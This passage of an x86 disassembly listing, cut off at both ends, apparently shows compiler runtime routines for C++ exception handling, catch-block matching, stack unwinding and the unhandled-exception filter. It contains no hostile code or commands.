InterlockedExchange jmp loc_422D83 ; --------------------------------------------------------------------------- loc_422F66: ; CODE XREF: sub_422D45+BBj ; sub_422D45+C8j ... or eax, 0FFFFFFFFh loc_422F69: ; CODE XREF: sub_422D45+41j ; sub_422D45+1A3j pop edi loc_422F6A: ; CODE XREF: sub_422D45+30j pop esi pop ebx leave retn sub_422D45 endp ; =============== S U B R O U T I N E ======================================= sub_422F6E proc near ; CODE XREF: sub_423572+15Dp arg_0 = dword ptr 4 mov eax, [esi+4] test eax, eax jz short loc_422FB9 lea edx, [eax+8] cmp byte ptr [edx], 0 jz short loc_422FB9 mov ecx, [edi+4] cmp eax, ecx jz short loc_422F94 add ecx, 8 push ecx push edx call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_422FB6 loc_422F94: ; CODE XREF: sub_422F6E+14j test byte ptr [edi], 2 jz short loc_422F9E test byte ptr [esi], 8 jz short loc_422FB6 loc_422F9E: ; CODE XREF: sub_422F6E+29j mov eax, [esp+arg_0] mov eax, [eax] test al, 1 jz short loc_422FAD test byte ptr [esi], 1 jz short loc_422FB6 loc_422FAD: ; CODE XREF: sub_422F6E+38j test al, 2 jz short loc_422FB9 test byte ptr [esi], 2 jnz short loc_422FB9 loc_422FB6: ; CODE XREF: sub_422F6E+24j ; sub_422F6E+2Ej ... xor eax, eax retn ; --------------------------------------------------------------------------- loc_422FB9: ; CODE XREF: sub_422F6E+5j ; sub_422F6E+Dj ... xor eax, eax inc eax retn sub_422F6E endp ; =============== S U B R O U T I N E ======================================= sub_422FBD proc near ; CODE XREF: sub_422FDB+76p mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_422FCA xor eax, eax retn ; --------------------------------------------------------------------------- loc_422FCA: ; CODE XREF: sub_422FBD+8j call sub_4203B6 and dword ptr [eax+84h], 0 jmp sub_423818 sub_422FBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FDB proc near ; CODE XREF: sub_42310D+129p ; sub_42344D+31p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push 10h push offset stru_42A420 call __SEH_prolog mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi call sub_4203B6 add eax, 84h inc dword ptr [eax] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] loc_423003: ; CODE XREF: sub_422FDB+8Fj cmp esi, [ebp+arg_C] jz short loc_42306C cmp esi, 0FFFFFFFFh jle short loc_423012 cmp esi, [edi+4] jl short loc_423017 loc_423012: ; CODE XREF: sub_422FDB+30j call sub_42384D loc_423017: ; CODE XREF: sub_422FDB+35j mov eax, esi shl eax, 3 mov ecx, [edi+8] add ecx, eax mov esi, [ecx] mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], 1 cmp dword ptr [ecx+4], 0 jz short loc_423048 mov [ebx+8], esi push 103h push ebx mov ecx, [edi+8] push dword ptr [ecx+eax+4] call sub_423880 loc_423048: ; CODE XREF: sub_422FDB+56j and [ebp+ms_exc.disabled], 0 jmp short loc_423067 ; --------------------------------------------------------------------------- loc_42304E: ; DATA XREF: .text:0042A430o mov eax, [ebp+ms_exc.exc_ptr] call sub_422FBD retn ; --------------------------------------------------------------------------- loc_423057: ; DATA XREF: .text:0042A434o mov esp, [ebp+ms_exc.old_esp] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_20] loc_423067: ; CODE XREF: sub_422FDB+71j mov [ebp+var_1C], esi jmp short loc_423003 ; --------------------------------------------------------------------------- loc_42306C: ; CODE XREF: sub_422FDB+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_42308E cmp esi, [ebp+arg_C] jz short loc_42307F call sub_42384D loc_42307F: ; CODE XREF: sub_422FDB+9Dj mov [ebx+8], esi call __SEH_epilog retn sub_422FDB endp ; =============== S U B R O U T I N E ======================================= sub_423088 proc near ; DATA XREF: .text:stru_42A420o mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_423088 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42308E proc near ; CODE XREF: sub_422FDB+95p call sub_4203B6 cmp dword ptr [eax+84h], 0 jle short locret_4230A8 call sub_4203B6 add eax, 84h dec dword ptr [eax] locret_4230A8: ; CODE XREF: sub_42308E+Cj retn sub_42308E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230A9 proc near ; CODE XREF: sub_423262+67p ; sub_423572+1CAp ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset stru_42A438 call __SEH_prolog mov eax, [ebp+arg_0] test eax, eax jz short loc_4230D7 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4230D7 and [ebp+ms_exc.disabled], 0 push ecx push dword ptr [eax+18h] call sub_41E113 or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_4230D7: ; CODE XREF: sub_4230A9+11j ; sub_4230A9+1Bj call __SEH_epilog retn sub_4230A9 endp ; =============== S U B R O U T I N E ======================================= sub_4230DD proc near ; DATA XREF: .text:stru_42A438o xor eax, eax cmp [ebp+0Ch], al setnz al retn sub_4230DD endp ; --------------------------------------------------------------------------- loc_4230E6: ; DATA XREF: .text:stru_42A438o mov esp, [ebp-18h] jmp sub_423818 ; =============== S U B R O U T I N E ======================================= sub_4230EE proc near ; CODE XREF: sub_4232D1+7Cp ; sub_4232D1+FBp ... push esi mov esi, eax mov eax, [ecx] add eax, esi cmp dword ptr [ecx+4], 0 jl short loc_42310B mov edx, [ecx+4] mov ecx, [ecx+8] mov esi, [edx+esi] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42310B: ; CODE XREF: sub_4230EE+Bj pop esi retn sub_4230EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42310D proc near ; CODE XREF: sub_42344D+52p var_50 = byte ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 00423259 SIZE 00000003 BYTES push 40h push offset stru_42A448 call __SEH_prolog mov ebx, ecx mov edi, [ebp+arg_4] mov esi, [ebp+arg_0] mov [ebp+var_20], ebx and [ebp+var_48], 0 mov eax, [edi-4] mov [ebp+var_38], eax push dword ptr [esi+18h] lea eax, [ebp+var_50] push eax call sub_41E3D0 pop ecx pop ecx mov [ebp+var_3C], eax call sub_4203B6 mov eax, [eax+7Ch] mov [ebp+var_40], eax call sub_4203B6 mov eax, [eax+80h] mov [ebp+var_44], eax call sub_4203B6 mov [eax+7Ch], esi call sub_4203B6 mov ecx, [ebp+arg_8] mov [eax+80h], ecx and [ebp+ms_exc.disabled], 0 mov [ebp+ms_exc.disabled], 1 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_C] push edi call sub_41E465 add esp, 14h mov [ebp+var_20], eax and [ebp+ms_exc.disabled], 0 jmp loc_423247 ; --------------------------------------------------------------------------- loc_423198: ; DATA XREF: .text:0042A458o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp dword ptr [eax], 0E06D7363h jnz short loc_4231DC mov eax, [ebp+var_1C] cmp dword ptr [eax+10h], 3 jnz short loc_4231DC mov eax, [ebp+var_1C] cmp dword ptr [eax+14h], 19930520h jz short loc_4231CC mov eax, [ebp+var_1C] cmp dword ptr [eax+14h], 19930521h jnz short loc_4231DC loc_4231CC: ; CODE XREF: sub_42310D+B1j mov eax, [ebp+var_1C] cmp dword ptr [eax+1Ch], 0 mov [ebp+var_24], 1 jz short loc_4231E3 loc_4231DC: ; CODE XREF: sub_42310D+9Cj ; sub_42310D+A5j ... mov [ebp+var_24], 0 loc_4231E3: ; CODE XREF: sub_42310D+CDj mov eax, [ebp+var_24] retn ; --------------------------------------------------------------------------- loc_4231E7: ; DATA XREF: .text:0042A45Co mov esp, [ebp+ms_exc.old_esp] mov ecx, [ebp+arg_C] mov eax, [ecx+8] mov [ebp+var_30], eax mov edi, [ebp+arg_4] mov eax, [edi+8] mov [ebp+var_28], eax mov edx, [ecx+10h] mov [ebp+var_2C], edx xor edx, edx loc_423204: ; CODE XREF: sub_42310D+14Dj mov [ebp+var_34], edx cmp edx, [ecx+0Ch] jnb short loc_423230 lea esi, [edx+edx*4] mov ebx, [ebp+var_2C] lea esi, [ebx+esi*4] mov ebx, [esi+4] cmp eax, ebx jle short loc_423259 cmp eax, [esi+8] jg short loc_423259 lea eax, [ebx+1] mov [ebp+var_28], eax mov edx, [ebp+var_30] mov eax, [edx+eax*8] mov [ebp+var_28], eax loc_423230: ; CODE XREF: sub_42310D+FDj push eax push ecx xor esi, esi push esi push edi call sub_422FDB add esp, 10h mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], esi mov esi, [ebp+arg_0] loc_423247: ; CODE XREF: sub_42310D+86j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_423262 mov eax, [ebp+var_20] call __SEH_epilog retn sub_42310D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42310D loc_423259: ; CODE XREF: sub_42310D+10Dj ; sub_42310D+112j inc edx jmp short loc_423204 ; END OF FUNCTION CHUNK FOR sub_42310D ; =============== S U B R O U T I N E ======================================= sub_42325C proc near ; DATA XREF: .text:stru_42A448o mov edi, [ebp+0Ch] mov esi, [ebp+8] sub_42325C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423262 proc near ; CODE XREF: sub_42310D+13Ep mov eax, [ebp-38h] mov [edi-4], eax push dword ptr [ebp-3Ch] call sub_41E419 pop ecx call sub_4203B6 mov ecx, [ebp-40h] mov [eax+7Ch], ecx call sub_4203B6 mov ecx, [ebp-44h] mov [eax+80h], ecx cmp dword ptr [esi], 0E06D7363h jnz short locret_4232D0 cmp dword ptr [esi+10h], 3 jnz short locret_4232D0 mov eax, [esi+14h] cmp eax, 19930520h jz short loc_4232A9 cmp eax, 19930521h jnz short locret_4232D0 loc_4232A9: ; CODE XREF: sub_423262+3Ej cmp dword ptr [ebp-48h], 0 jnz short locret_4232D0 cmp dword ptr [ebp-20h], 0 jz short locret_4232D0 push dword ptr [esi+18h] call sub_41E3F8 pop ecx test eax, eax jz short locret_4232D0 call sub_41DF36 push eax push esi call sub_4230A9 pop ecx pop ecx locret_4232D0: ; CODE XREF: sub_423262+2Ej ; sub_423262+34j ... retn sub_423262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232D1 proc near ; CODE XREF: sub_42344D+Dp ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 8 push offset stru_42A460 call __SEH_prolog mov esi, ecx mov eax, [ebp+arg_4] mov edi, edx mov ebx, [ebp+arg_0] mov ecx, [eax+4] test ecx, ecx jz loc_42343B cmp byte ptr [ecx+8], 0 jz loc_42343B mov ecx, [eax+8] test ecx, ecx jnz short loc_42330D test byte ptr [eax+3], 80h jz loc_42343B loc_42330D: ; CODE XREF: sub_4232D1+30j mov eax, [eax] test eax, eax js short loc_423317 lea edi, [ecx+edi+0Ch] loc_423317: ; CODE XREF: sub_4232D1+40j and [ebp+ms_exc.disabled], 0 push 1 push dword ptr [ebx+18h] test al, 8 jz short loc_423359 call sub_426861 pop ecx pop ecx test eax, eax jz loc_423432 push 1 push edi call sub_42687D pop ecx pop ecx test eax, eax jz loc_423432 mov eax, [ebx+18h] mov [edi], eax loc_42334A: ; CODE XREF: sub_4232D1+D1j lea ecx, [esi+8] call sub_4230EE mov [edi], eax jmp loc_423437 ; --------------------------------------------------------------------------- loc_423359: ; CODE XREF: sub_4232D1+51j test byte ptr [esi], 1 jz short loc_4233A4 call sub_426861 pop ecx pop ecx test eax, eax jz loc_423432 push 1 push edi call sub_42687D pop ecx pop ecx test eax, eax jz loc_423432 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41BFA0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_423437 mov eax, [edi] test eax, eax jz loc_423437 jmp short loc_42334A ; --------------------------------------------------------------------------- loc_4233A4: ; CODE XREF: sub_4232D1+8Bj cmp dword ptr [esi+18h], 0 jnz short loc_4233DD call sub_426861 pop ecx pop ecx test eax, eax jz short loc_423432 push 1 push edi call sub_42687D pop ecx pop ecx test eax, eax jz short loc_423432 push dword ptr [esi+14h] lea ecx, [esi+8] mov eax, [ebx+18h] call sub_4230EE push eax push edi call sub_41BFA0 add esp, 0Ch jmp short loc_423437 ; --------------------------------------------------------------------------- loc_4233DD: ; CODE XREF: sub_4232D1+D7j call sub_426861 pop ecx pop ecx test eax, eax jz short loc_423432 push 1 push edi call sub_42687D pop ecx pop ecx test eax, eax jz short loc_423432 push dword ptr [esi+18h] call sub_426899 pop ecx test eax, eax jz short loc_423432 mov eax, [ebx+18h] lea ecx, [esi+8] test byte ptr [esi], 4 jz short loc_423421 push 1 call sub_4230EE push eax push dword ptr [esi+18h] push edi call sub_41E113 jmp short loc_423437 ; --------------------------------------------------------------------------- loc_423421: ; CODE XREF: sub_4232D1+13Bj call sub_4230EE push eax push dword ptr [esi+18h] push edi call sub_41E113 jmp short loc_423437 ; --------------------------------------------------------------------------- loc_423432: ; CODE XREF: sub_4232D1+5Cj ; sub_4232D1+6Ej ... call sub_42384D loc_423437: ; CODE XREF: sub_4232D1+83j ; sub_4232D1+C1j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_42343B: ; CODE XREF: sub_4232D1+1Bj ; sub_4232D1+25j ... call __SEH_epilog retn sub_4232D1 endp ; =============== S U B R O U T I N E ======================================= sub_423441 proc near ; DATA XREF: .text:stru_42A460o xor eax, eax inc eax retn sub_423441 endp ; --------------------------------------------------------------------------- loc_423445: ; DATA XREF: .text:stru_42A460o mov esp, [ebp-18h] jmp sub_423818 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42344D proc near ; CODE XREF: sub_4234B4+A0p ; sub_423572+19Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp test ecx, ecx jz short loc_423461 push ebx push [ebp+arg_0] mov edx, esi call sub_4232D1 pop ecx pop ecx loc_423461: ; CODE XREF: sub_42344D+5j cmp [ebp+arg_14], 0 push [ebp+arg_0] jnz short loc_42346D push esi jmp short loc_423470 ; --------------------------------------------------------------------------- loc_42346D: ; CODE XREF: sub_42344D+1Bj push [ebp+arg_14] loc_423470: ; CODE XREF: sub_42344D+1Ej call sub_41E11A push dword ptr [edi] push [ebp+arg_C] push [ebp+arg_8] push esi call sub_422FDB mov eax, [edi+4] push 100h push [ebp+arg_10] inc eax push [ebp+arg_C] mov [esi+8], eax push [ebp+arg_4] mov ecx, [ebx+0Ch] push esi push [ebp+arg_0] call sub_42310D add esp, 28h test eax, eax jz short loc_4234B2 push esi push eax call sub_41E0E3 loc_4234B2: ; CODE XREF: sub_42344D+5Cj pop ebp retn sub_42344D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B4 proc near ; CODE XREF: sub_423572+1F5p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_0] cmp dword ptr [esi], 80000003h jz loc_42356F call sub_4203B6 cmp dword ptr [eax+74h], 0 jz short loc_4234F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41E1DD add esp, 1Ch test eax, eax jnz short loc_42356F loc_4234F3: ; CODE XREF: sub_4234B4+1Ej mov esi, [ebp+arg_14] push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_41E356 mov edi, eax mov eax, [ebp+var_4] add esp, 14h cmp eax, [ebp+var_8] jnb short loc_42356E push ebx loc_423519: ; CODE XREF: sub_4234B4+B7j cmp esi, [edi] jl short loc_42355F cmp esi, [edi+4] jg short loc_42355F mov eax, [edi+0Ch] mov ecx, [edi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42353A cmp byte ptr [ecx+8], 0 jnz short loc_42355F loc_42353A: ; CODE XREF: sub_4234B4+7Ej push [ebp+arg_1C] mov esi, [ebp+arg_4] push [ebp+arg_18] lea ebx, [eax-10h] push [ebp+arg_10] xor ecx, ecx push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_42344D mov esi, [ebp+arg_14] add esp, 18h loc_42355F: ; CODE XREF: sub_4234B4+67j ; sub_4234B4+6Cj ... inc [ebp+var_4] mov eax, [ebp+var_4] add edi, 14h cmp eax, [ebp+var_8] jb short loc_423519 pop ebx loc_42356E: ; CODE XREF: sub_4234B4+62j pop edi loc_42356F: ; CODE XREF: sub_4234B4+Fj ; sub_4234B4+3Dj pop esi leave retn sub_4234B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423572 proc near ; CODE XREF: sub_423776+93p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_4] mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_1], 0 mov [ebp+var_1C], eax jl short loc_423592 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_423597 loc_423592: ; CODE XREF: sub_423572+16j call sub_42384D loc_423597: ; CODE XREF: sub_423572+1Ej push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx], 0E06D7363h push esi push edi jnz loc_42374B cmp dword ptr [ebx+10h], 3 mov edi, 19930520h jnz loc_42363F mov eax, [ebx+14h] cmp eax, edi jz short loc_4235C6 cmp eax, 19930521h jnz short loc_42363F loc_4235C6: ; CODE XREF: sub_423572+4Bj cmp dword ptr [ebx+1Ch], 0 jnz short loc_42363F call sub_4203B6 cmp dword ptr [eax+7Ch], 0 jz loc_423743 call sub_4203B6 mov esi, [eax+7Ch] mov [ebp+arg_0], esi call sub_4203B6 mov eax, [eax+80h] push 1 push esi mov [ebp+arg_8], eax mov [ebp+var_1], 1 call sub_426861 test eax, eax pop ecx pop ecx jnz short loc_42360B call sub_42384D loc_42360B: ; CODE XREF: sub_423572+92j cmp dword ptr [esi], 0E06D7363h jnz loc_423748 mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_42363C mov eax, [eax+14h] cmp eax, edi jz short loc_42362E cmp eax, 19930521h jnz short loc_42363C loc_42362E: ; CODE XREF: sub_423572+B3j mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jnz short loc_42363C call sub_42384D loc_42363C: ; CODE XREF: sub_423572+ACj ; sub_423572+BAj ... mov ebx, [ebp+arg_0] loc_42363F: ; CODE XREF: sub_423572+40j ; sub_423572+52j ... cmp dword ptr [ebx], 0E06D7363h jnz loc_42374B cmp dword ptr [ebx+10h], 3 jnz loc_42374B mov eax, [ebx+14h] cmp eax, edi jz short loc_423667 cmp eax, 19930521h jnz loc_42374B loc_423667: ; CODE XREF: sub_423572+E8j mov esi, [ebp+var_1C] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_C] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_41E356 mov ecx, [ebp+var_C] add esp, 14h cmp ecx, [ebp+var_20] mov [ebp+var_8], eax jnb loc_423733 jmp short loc_423695 ; --------------------------------------------------------------------------- loc_423692: ; CODE XREF: sub_423572+1BBj mov esi, [ebp+var_1C] loc_423695: ; CODE XREF: sub_423572+11Ej cmp [eax], esi jg loc_42371E cmp esi, [eax+4] jg short loc_42371E mov ecx, [eax+0Ch] test ecx, ecx mov esi, [eax+10h] mov [ebp+var_18], ecx jle short loc_42371E loc_4236AF: ; CODE XREF: sub_423572+180j mov ecx, [ebx+1Ch] mov ecx, [ecx+0Ch] lea edx, [ecx+4] mov ecx, [ecx] test ecx, ecx mov [ebp+var_10], edx mov [ebp+var_14], ecx jle short loc_4236E8 loc_4236C4: ; CODE XREF: sub_423572+171j mov eax, [ebp+var_10] mov edi, [eax] push dword ptr [ebx+1Ch] mov [ebp+var_24], edi call sub_422F6E test eax, eax pop ecx jnz short loc_4236F6 dec [ebp+var_14] add [ebp+var_10], 4 cmp [ebp+var_14], eax jg short loc_4236C4 mov eax, [ebp+var_8] loc_4236E8: ; CODE XREF: sub_423572+150j dec [ebp+var_18] add esi, 10h cmp [ebp+var_18], 0 jg short loc_4236AF jmp short loc_42371E ; --------------------------------------------------------------------------- loc_4236F6: ; CODE XREF: sub_423572+165j push [ebp+arg_1C] mov edi, [ebp+var_8] push [ebp+arg_18] mov ecx, [ebp+var_24] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push ebx mov ebx, esi mov esi, [ebp+arg_4] call sub_42344D mov ebx, [ebp+arg_0] add esp, 18h mov eax, edi loc_42371E: ; CODE XREF: sub_423572+125j ; sub_423572+12Ej ... inc [ebp+var_C] mov ecx, [ebp+var_C] add eax, 14h cmp ecx, [ebp+var_20] mov [ebp+var_8], eax jb loc_423692 loc_423733: ; CODE XREF: sub_423572+118j cmp [ebp+arg_14], 0 jz short loc_423743 push 1 push ebx call sub_4230A9 pop ecx pop ecx loc_423743: ; CODE XREF: sub_423572+63j ; sub_423572+1C5j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_423748: ; CODE XREF: sub_423572+9Fj mov ebx, [ebp+arg_0] loc_42374B: ; CODE XREF: sub_423572+31j ; sub_423572+D3j ... cmp [ebp+arg_14], 0 jnz short loc_423771 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_1C] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_4234B4 add esp, 20h jmp short loc_423743 ; --------------------------------------------------------------------------- loc_423771: ; CODE XREF: sub_423572+1DDj jmp sub_423818 sub_423572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423776 proc near ; CODE XREF: sub_41E16C+21p ; .text:0041E1D4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] mov eax, [esi] push edi and eax, 1FFFFFFFh mov edi, 19930520h cmp eax, edi jz short loc_423793 call sub_42384D loc_423793: ; CODE XREF: sub_423776+16j mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4237BB cmp dword ptr [esi+4], 0 jz short loc_423811 cmp [ebp+arg_14], 0 jnz short loc_423811 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_422FDB add esp, 10h jmp short loc_423811 ; --------------------------------------------------------------------------- loc_4237BB: ; CODE XREF: sub_423776+24j cmp dword ptr [esi+0Ch], 0 jz short loc_423811 cmp dword ptr [eax], 0E06D7363h jnz short loc_4237F5 cmp [eax+14h], edi jbe short loc_4237F5 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_4237F5 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_423814 ; --------------------------------------------------------------------------- loc_4237F5: ; CODE XREF: sub_423776+51j ; sub_423776+56j ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_423572 add esp, 20h loc_423811: ; CODE XREF: sub_423776+2Aj ; sub_423776+30j ... xor eax, eax inc eax loc_423814: ; CODE XREF: sub_423776+7Dj pop edi pop esi pop ebp retn sub_423776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423818 proc near ; CODE XREF: sub_422FBD+19j ; .text:004230E9j ... ms_exc = CPPEH_RECORD ptr -18h ; FUNCTION CHUNK AT 004268B1 SIZE 00000018 BYTES push 8 push offset stru_42A470 call __SEH_prolog call sub_4203B6 cmp dword ptr [eax+6Ch], 0 jz short loc_423848 and [ebp+ms_exc.disabled], 0 call sub_4203B6 call dword ptr [eax+6Ch] jmp short loc_423844 ; --------------------------------------------------------------------------- loc_42383D: ; DATA XREF: .text:stru_42A470o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_423841: ; DATA XREF: .text:stru_42A470o mov esp, [ebp+ms_exc.old_esp] loc_423844: ; CODE XREF: sub_423818+23j or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_423848: ; CODE XREF: sub_423818+15j jmp loc_4268B1 sub_423818 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42384D proc near ; CODE XREF: sub_41E356+23p ; sub_41E356:loc_41E3C0p ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset stru_42A480 call __SEH_prolog mov eax, ds:off_433960 test eax, eax jz short loc_423875 and [ebp+ms_exc.disabled], 0 call eax ; sub_423818 jmp short loc_423871 ; --------------------------------------------------------------------------- loc_42386A: ; DATA XREF: .text:stru_42A480o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_42386E: ; DATA XREF: .text:stru_42A480o mov esp, [ebp+ms_exc.old_esp] loc_423871: ; CODE XREF: sub_42384D+1Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_423875: ; CODE XREF: sub_42384D+13j jmp sub_423818 sub_42384D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423880 proc near ; CODE XREF: sub_41E465+45p ; sub_422FDB+68p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41DF59 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_4238BF mov ecx, 2 loc_4238BF: ; CODE XREF: sub_423880+38j push ecx call sub_41DF59 pop ebp pop ecx pop ebx leave retn 0Ch sub_423880 endp ; =============== S U B R O U T I N E ======================================= sub_4238CC proc near ; DATA XREF: sub_42391Ao ; .text:00433130o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_4238F7 cmp dword ptr [eax+10h], 3 jnz short loc_4238F7 mov eax, [eax+14h] cmp eax, 19930520h jz short loc_4238F2 cmp eax, 19930521h jnz short loc_4238F7 loc_4238F2: ; CODE XREF: sub_4238CC+1Dj call sub_423818 loc_4238F7: ; CODE XREF: sub_4238CC+Dj ; sub_4238CC+13j ... mov eax, ds:dword_43583C test eax, eax jz short loc_423914 push eax call sub_426899 test eax, eax pop ecx jz short loc_423914 push esi call ds:dword_43583C jmp short loc_423916 ; --------------------------------------------------------------------------- loc_423914: ; CODE XREF: sub_4238CC+32j ; sub_4238CC+3Dj xor eax, eax loc_423916: ; CODE XREF: sub_4238CC+46j pop esi retn 4 sub_4238CC endp ; =============== S U B R O U T I N E ======================================= sub_42391A proc near ; DATA XREF: .text:00433058o push offset sub_4238CC call ds:dword_429154 ; SetUnhandledExceptionFilter mov ds:dword_43583C, eax xor eax, eax retn sub_42391A endp ; =============== S U B R O U T I N E ======================================= sub_42392D proc near ; DATA XREF: .text:00433074o push ds:dword_43583C call ds:dword_429154 ; SetUnhandledExceptionFilter retn sub_42392D endp ; =============== S U B R O U T I N E ======================================= sub_42393A proc near ; CODE XREF: sub_41F8BB+491p ; DATA XREF: sub_41E4F8+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_426991 cmp eax, 65h jmp short loc_423959 ; --------------------------------------------------------------------------- loc_42394D: ; CODE XREF: sub_42393A+20j inc esi movsx eax, byte ptr [esi] push eax call sub_41D63C test eax, eax loc_423959: ; CODE XREF: sub_42393A+11j pop ecx jnz short loc_42394D mov al, [esi] mov cl, 